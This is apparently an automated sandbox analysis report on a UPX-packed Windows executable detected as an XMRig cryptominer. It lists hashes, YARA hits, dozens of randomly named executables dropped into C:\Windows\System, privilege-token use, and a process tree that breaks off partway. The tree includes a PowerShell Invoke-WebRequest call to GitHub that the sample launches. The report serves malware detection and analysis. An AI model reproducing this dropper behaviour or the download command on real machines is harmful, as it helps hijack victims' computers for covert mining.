xmrig | 2e6260dcc0e172a8fd803f04f348eb0e4ae336105704b436e7e02d144a09bed9

Analysis

max time kernel
29s
max time network
28s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
30/04/2024, 05:19

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
Size

1.7MB
MD5

091ca60f0d895aefe5890acfbe8c03d3
SHA1

02c765a651e9044ba59142aca42499aaf42a8502
SHA256

2e6260dcc0e172a8fd803f04f348eb0e4ae336105704b436e7e02d144a09bed9
SHA512

b55700d46f413ad8ca40b2d6d1b72dd08b32fef483b918d171732a4c06f82195369e6d5fad51c860e1921a1d92e69c94c448f55c453488aac012e408bf444883
SSDEEP

49152:Lz071uv4BPMkibTIA5sf6r+WVc2HhG82SGkMKtg:NABj

Score

10^/10

xmrig miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 10 IoCs

miner

resource	yara_rule
behavioral1/memory/2680-19-0x000000013FB30000-0x000000013FF22000-memory.dmp	xmrig
behavioral1/memory/2928-18-0x000000013FB80000-0x000000013FF72000-memory.dmp	xmrig
behavioral1/memory/2952-66-0x000000013F490000-0x000000013F882000-memory.dmp	xmrig
behavioral1/memory/2724-74-0x000000013F9B0000-0x000000013FDA2000-memory.dmp	xmrig
behavioral1/memory/2400-82-0x000000013FFD0000-0x00000001403C2000-memory.dmp	xmrig
behavioral1/memory/2864-97-0x000000013FAA0000-0x000000013FE92000-memory.dmp	xmrig
behavioral1/memory/2484-88-0x000000013F5B0000-0x000000013F9A2000-memory.dmp	xmrig
behavioral1/memory/2504-77-0x000000013FCA0000-0x0000000140092000-memory.dmp	xmrig
behavioral1/memory/2956-75-0x00000000034A0000-0x0000000003892000-memory.dmp	xmrig
behavioral1/memory/2580-68-0x000000013F060000-0x000000013F452000-memory.dmp	xmrig

Executes dropped EXE 64 IoCs

pid	Process
2928	BjdhqUK.exe
2680	HVAuSxQ.exe
2952	TWAuzFG.exe
2580	aONkeQR.exe
2724	uFiuSeG.exe
2504	trmOHWP.exe
2400	NbuNxkH.exe
2484	fCiHlyv.exe
2864	zvPPFmV.exe
3032	APLgjSK.exe
356	diXwJbN.exe
1984	ByVzHnu.exe
1468	cAGEWHw.exe
768	ZJkNRxP.exe
2376	onAFYiG.exe
1032	eoYVsHU.exe
1716	mBSnVve.exe
2372	aRcOdtp.exe
1540	SnXjxBg.exe
2300	rrpURFP.exe
2816	splRTyt.exe
1760	AxDSWDp.exe
2996	zmWhNRt.exe
1000	laOepWn.exe
1496	MywdtgP.exe
1036	idBbIbd.exe
1104	VnUuhyI.exe
2160	nHmLrKL.exe
1396	bOEIdIx.exe
1792	oHDjFMX.exe
748	ToegvuI.exe
2044	oHfLKrI.exe
112	cNisLYj.exe
844	Mlsutiv.exe
2256	DrGARlP.exe
1744	VIPTBFx.exe
1964	mqrwfrG.exe
1620	HpHYMOS.exe
1820	BmllwIz.exe
2004	qrFYBrc.exe
1212	rVBObrs.exe
2968	fZPtxec.exe
2180	mkHPaNp.exe
2112	sKWcyXl.exe
2760	jxcXgxj.exe
1172	JmYeYyG.exe
704	pxXqCJe.exe
588	tVyRWnU.exe
2552	bzXFaPP.exe
1556	hSajVWM.exe
2152	sXpRAxH.exe
848	lGLOAtX.exe
336	ZjkxByD.exe
1572	BUAJLRL.exe
968	lRMYZeS.exe
1072	EzocViW.exe
1040	JaIWLUG.exe
1012	YPFweWF.exe
2008	CFmdsyb.exe
1752	bdABSPv.exe
816	qluwEtX.exe
1576	uEyPLEs.exe
1652	nLBimMj.exe
2792	MaClojz.exe

Loads dropped DLL 64 IoCs

pid	Process
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe

UPX packed file 48 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2956-0-0x000000013FF10000-0x0000000140302000-memory.dmp	upx
behavioral1/files/0x000d000000012324-6.dat	upx
behavioral1/files/0x003100000001341c-12.dat	upx
behavioral1/files/0x000e0000000054ab-23.dat	upx
behavioral1/memory/2680-19-0x000000013FB30000-0x000000013FF22000-memory.dmp	upx
behavioral1/memory/2928-18-0x000000013FB80000-0x000000013FF72000-memory.dmp	upx
behavioral1/files/0x0009000000013a3a-24.dat	upx
behavioral1/files/0x0008000000013a46-31.dat	upx
behavioral1/files/0x0008000000013a6e-35.dat	upx
behavioral1/files/0x0008000000013a84-37.dat	upx
behavioral1/files/0x0008000000014597-47.dat	upx
behavioral1/files/0x000600000001469d-53.dat	upx
behavioral1/files/0x00060000000146f4-56.dat	upx
behavioral1/memory/2952-66-0x000000013F490000-0x000000013F882000-memory.dmp	upx
behavioral1/memory/2724-74-0x000000013F9B0000-0x000000013FDA2000-memory.dmp	upx
behavioral1/files/0x000600000001471a-83.dat	upx
behavioral1/memory/2400-82-0x000000013FFD0000-0x00000001403C2000-memory.dmp	upx
behavioral1/files/0x000600000001487f-107.dat	upx
behavioral1/files/0x0006000000014b18-111.dat	upx
behavioral1/files/0x0033000000013420-118.dat	upx
behavioral1/files/0x000600000001535e-132.dat	upx
behavioral1/files/0x0006000000015677-146.dat	upx
behavioral1/files/0x0006000000015c87-153.dat	upx
behavioral1/files/0x0006000000015cae-160.dat	upx
behavioral1/files/0x0006000000015d20-181.dat	upx
behavioral1/files/0x0006000000015ce3-174.dat	upx
behavioral1/files/0x0006000000015ccd-167.dat	upx
behavioral1/files/0x0006000000014a9a-102.dat	upx
behavioral1/files/0x0006000000015cd9-169.dat	upx
behavioral1/files/0x0006000000015684-148.dat	upx
behavioral1/files/0x0006000000015d42-183.dat	upx
behavioral1/files/0x0006000000015cff-176.dat	upx
behavioral1/files/0x0006000000015cb6-162.dat	upx
behavioral1/files/0x0006000000015c9e-155.dat	upx
behavioral1/files/0x000600000001565d-141.dat	upx
behavioral1/files/0x000600000001564f-134.dat	upx
behavioral1/files/0x0006000000014fa2-127.dat	upx
behavioral1/files/0x0006000000014bbc-120.dat	upx
behavioral1/files/0x0006000000014b4c-113.dat	upx
behavioral1/memory/2864-97-0x000000013FAA0000-0x000000013FE92000-memory.dmp	upx
behavioral1/files/0x0006000000014826-94.dat	upx
behavioral1/files/0x0006000000015653-139.dat	upx
behavioral1/files/0x0006000000014e71-125.dat	upx
behavioral1/files/0x0006000000014712-89.dat	upx
behavioral1/memory/2484-88-0x000000013F5B0000-0x000000013F9A2000-memory.dmp	upx
behavioral1/memory/2504-77-0x000000013FCA0000-0x0000000140092000-memory.dmp	upx
behavioral1/files/0x00060000000146fc-73.dat	upx
behavioral1/memory/2580-68-0x000000013F060000-0x000000013F452000-memory.dmp	upx

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\YPFweWF.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\DrGARlP.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\PbDOArP.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\NbuNxkH.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\hSajVWM.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\sKWcyXl.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\oHfLKrI.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\mkHPaNp.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\jgFBSpf.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\OKfxVCq.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\fuKvtHn.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\trmOHWP.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\mqrwfrG.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\cNisLYj.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\PtNpHCk.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\LzApfsl.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\onAFYiG.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\MywdtgP.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\VnUuhyI.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\qluwEtX.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\HVAuSxQ.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\aONkeQR.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\lqIkWuS.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\AnRmHGF.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\cAGEWHw.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\VIPTBFx.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\KrDYTry.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\nHmLrKL.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\lRMYZeS.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\xKDeimg.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\bJENBxP.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\diXwJbN.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\bOEIdIx.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\JmYeYyG.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\bzXFaPP.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\oHDjFMX.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\tKiQJCT.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\jxcXgxj.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\AxDSWDp.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\mBSnVve.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\splRTyt.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\zmWhNRt.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\lGLOAtX.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\uEyPLEs.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\APLgjSK.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\ByVzHnu.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\pxXqCJe.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\sXpRAxH.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\nLBimMj.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\uFiuSeG.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\ZJkNRxP.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\BUAJLRL.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\ZjkxByD.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\lUUNypm.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\msOzNSR.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\fCiHlyv.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\aRcOdtp.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\fZPtxec.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\laOepWn.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\JaIWLUG.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\bdABSPv.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\GdnVXGE.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\BjdhqUK.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
File created	C:\Windows\System\BmllwIz.exe	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
3064	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
Token: SeLockMemoryPrivilege	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
Token: SeDebugPrivilege	3064	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2956 wrote to memory of 3064	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	29
PID 2956 wrote to memory of 3064	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	29
PID 2956 wrote to memory of 3064	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	29
PID 2956 wrote to memory of 2928	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	30
PID 2956 wrote to memory of 2928	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	30
PID 2956 wrote to memory of 2928	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	30
PID 2956 wrote to memory of 2680	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	31
PID 2956 wrote to memory of 2680	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	31
PID 2956 wrote to memory of 2680	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	31
PID 2956 wrote to memory of 2952	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	32
PID 2956 wrote to memory of 2952	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	32
PID 2956 wrote to memory of 2952	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	32
PID 2956 wrote to memory of 2580	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	33
PID 2956 wrote to memory of 2580	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	33
PID 2956 wrote to memory of 2580	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	33
PID 2956 wrote to memory of 2724	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	34
PID 2956 wrote to memory of 2724	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	34
PID 2956 wrote to memory of 2724	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	34
PID 2956 wrote to memory of 2504	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	35
PID 2956 wrote to memory of 2504	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	35
PID 2956 wrote to memory of 2504	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	35
PID 2956 wrote to memory of 2400	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	36
PID 2956 wrote to memory of 2400	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	36
PID 2956 wrote to memory of 2400	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	36
PID 2956 wrote to memory of 2484	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	37
PID 2956 wrote to memory of 2484	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	37
PID 2956 wrote to memory of 2484	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	37
PID 2956 wrote to memory of 2864	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	38
PID 2956 wrote to memory of 2864	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	38
PID 2956 wrote to memory of 2864	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	38
PID 2956 wrote to memory of 3032	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	39
PID 2956 wrote to memory of 3032	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	39
PID 2956 wrote to memory of 3032	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	39
PID 2956 wrote to memory of 356	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	40
PID 2956 wrote to memory of 356	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	40
PID 2956 wrote to memory of 356	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	40
PID 2956 wrote to memory of 1468	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	41
PID 2956 wrote to memory of 1468	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	41
PID 2956 wrote to memory of 1468	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	41
PID 2956 wrote to memory of 1984	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	42
PID 2956 wrote to memory of 1984	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	42
PID 2956 wrote to memory of 1984	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	42
PID 2956 wrote to memory of 1032	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	43
PID 2956 wrote to memory of 1032	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	43
PID 2956 wrote to memory of 1032	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	43
PID 2956 wrote to memory of 768	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	44
PID 2956 wrote to memory of 768	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	44
PID 2956 wrote to memory of 768	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	44
PID 2956 wrote to memory of 1964	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	45
PID 2956 wrote to memory of 1964	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	45
PID 2956 wrote to memory of 1964	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	45
PID 2956 wrote to memory of 2376	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	46
PID 2956 wrote to memory of 2376	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	46
PID 2956 wrote to memory of 2376	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	46
PID 2956 wrote to memory of 1820	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	47
PID 2956 wrote to memory of 1820	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	47
PID 2956 wrote to memory of 1820	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	47
PID 2956 wrote to memory of 1716	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	48
PID 2956 wrote to memory of 1716	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	48
PID 2956 wrote to memory of 1716	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	48
PID 2956 wrote to memory of 2004	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	49
PID 2956 wrote to memory of 2004	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	49
PID 2956 wrote to memory of 2004	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	49
PID 2956 wrote to memory of 2372	2956	091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe	50

C:\Users\Admin\AppData\Local\Temp\091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\091ca60f0d895aefe5890acfbe8c03d3_JaffaCakes118.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2956
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3064
- C:\Windows\System\BjdhqUK.exe
  C:\Windows\System\BjdhqUK.exe
  2⤵
  - Executes dropped EXE
  PID:2928
- C:\Windows\System\HVAuSxQ.exe
  C:\Windows\System\HVAuSxQ.exe
  2⤵
  - Executes dropped EXE
  PID:2680
- C:\Windows\System\TWAuzFG.exe
  C:\Windows\System\TWAuzFG.exe
  2⤵
  - Executes dropped EXE
  PID:2952
- C:\Windows\System\aONkeQR.exe
  C:\Windows\System\aONkeQR.exe
  2⤵
  - Executes dropped EXE
  PID:2580
- C:\Windows\System\uFiuSeG.exe
  C:\Windows\System\uFiuSeG.exe
  2⤵
  - Executes dropped EXE
  PID:2724
- C:\Windows\System\trmOHWP.exe
  C:\Windows\System\trmOHWP.exe
  2⤵
  - Executes dropped EXE
  PID:2504
- C:\Windows\System\NbuNxkH.exe
  C:\Windows\System\NbuNxkH.exe
  2⤵
  - Executes dropped EXE
  PID:2400
- C:\Windows\System\fCiHlyv.exe
  C:\Windows\System\fCiHlyv.exe
  2⤵
  - Executes dropped EXE
  PID:2484
- C:\Windows\System\zvPPFmV.exe
  C:\Windows\System\zvPPFmV.exe
  2⤵
  - Executes dropped EXE
  PID:2864
- C:\Windows\System\APLgjSK.exe
  C:\Windows\System\APLgjSK.exe
  2⤵
  - Executes dropped EXE
  PID:3032
- C:\Windows\System\diXwJbN.exe
  C:\Windows\System\diXwJbN.exe
  2⤵
  - Executes dropped EXE
  PID:356
- C:\Windows\System\cAGEWHw.exe
  C:\Windows\System\cAGEWHw.exe
  2⤵
  - Executes dropped EXE
  PID:1468
- C:\Windows\System\ByVzHnu.exe
  C:\Windows\System\ByVzHnu.exe
  2⤵
  - Executes dropped EXE
  PID:1984
- C:\Windows\System\eoYVsHU.exe
  C:\Windows\System\eoYVsHU.exe
  2⤵
  - Executes dropped EXE
  PID:1032
- C:\Windows\System\ZJkNRxP.exe
  C:\Windows\System\ZJkNRxP.exe
  2⤵
  - Executes dropped EXE
  PID:768
- C:\Windows\System\mqrwfrG.exe
  C:\Windows\System\mqrwfrG.exe
  2⤵
  - Executes dropped EXE
  PID:1964
- C:\Windows\System\onAFYiG.exe
  C:\Windows\System\onAFYiG.exe
  2⤵
  - Executes dropped EXE
  PID:2376
- C:\Windows\System\BmllwIz.exe
  C:\Windows\System\BmllwIz.exe
  2⤵
  - Executes dropped EXE
  PID:1820
- C:\Windows\System\mBSnVve.exe
  C:\Windows\System\mBSnVve.exe
  2⤵
